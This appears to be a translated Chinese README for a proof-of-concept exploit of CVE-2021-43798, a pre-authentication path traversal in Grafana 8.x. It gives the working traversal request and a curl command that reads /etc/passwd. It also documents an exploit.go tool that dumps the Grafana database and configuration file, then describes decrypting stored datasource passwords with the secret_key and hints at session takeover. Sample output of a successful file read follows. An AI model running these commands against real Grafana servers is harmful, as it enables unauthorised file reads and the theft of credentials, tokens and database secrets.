
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Grafana 8.x 路径遍历(未授权)
所有荣誉归 j0v 及其推文 https://twitter.com/j0v0x0/status/1466845212626542607
仅供教育目的使用。本人不对你的行为负责。请自行斟酌使用。
本着善意,我已推迟发布此 PoC,直到该漏洞公开或补丁可用。
我注意到 j0v 的一条推文声称发现了 Grafana 路径遍历漏洞。出于好奇,我开始查看 Grafana 源代码。推文中提到这是一个未授权漏洞。Grafana 只有少数几个公开 API 端点,而其中只有一个会从用户处接收文件路径。
Grafana 有一个公开 API 端点 /public/plugins/:pluginId,允许查看插件的资源。其工作方式是提供一个有效的 :pluginId,然后指定文件路径,例如 img/logo.png。然而,Grafana 未能对用户提供的文件路径进行清理,导致路径遍历。
被访问的目录位于 <grafana>/public/app/plugins/panel/<pluginId>。在标准 Grafana 安装中,Grafana 数据目录为 /usr/share/grafana。因此,通过回溯 8 个目录,可以到达文件系统根目录。
HTTP 请求:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
注意:这在浏览器中不起作用(浏览器会自动折叠路径中的 ../)
可以通过 curl 使用 --path-as-is 参数进行测试:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
以下是可利用此漏洞执行的一些攻击
默认情况下,Grafana 使用 sqlite3 数据库。该数据库存储在 /var/lib/grafana/grafana.db。你可以使用 exploit.go 脚本导出此数据库。
示例:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
然后你可以读取此数据库以获取用户、认证令牌和数据源。
Grafana 将其配置存储在 <grafana>/conf/defaults.ini 文件中。这里有几个有趣的值,例如 secret_key、host、user、password(如果使用 mysql 而非 sqlite3)。
示例:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
参考:https://grafana.com/docs/grafana/latest/administration/configuration/
Grafana 使用 AES-256-CBC 对所有数据源密码进行加密,密钥来自 defaults.ini 配置文件中的 secret_key。我们可以如上所示导出此配置文件,然后从数据库中解密这些值。
参考:https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key
Grafana 将会话令牌存储在 auth_tokens 表中。我尚未能成功接管会话,但如果你阅读源代码,应该能找出方法。
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
注意:不支持多目标
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build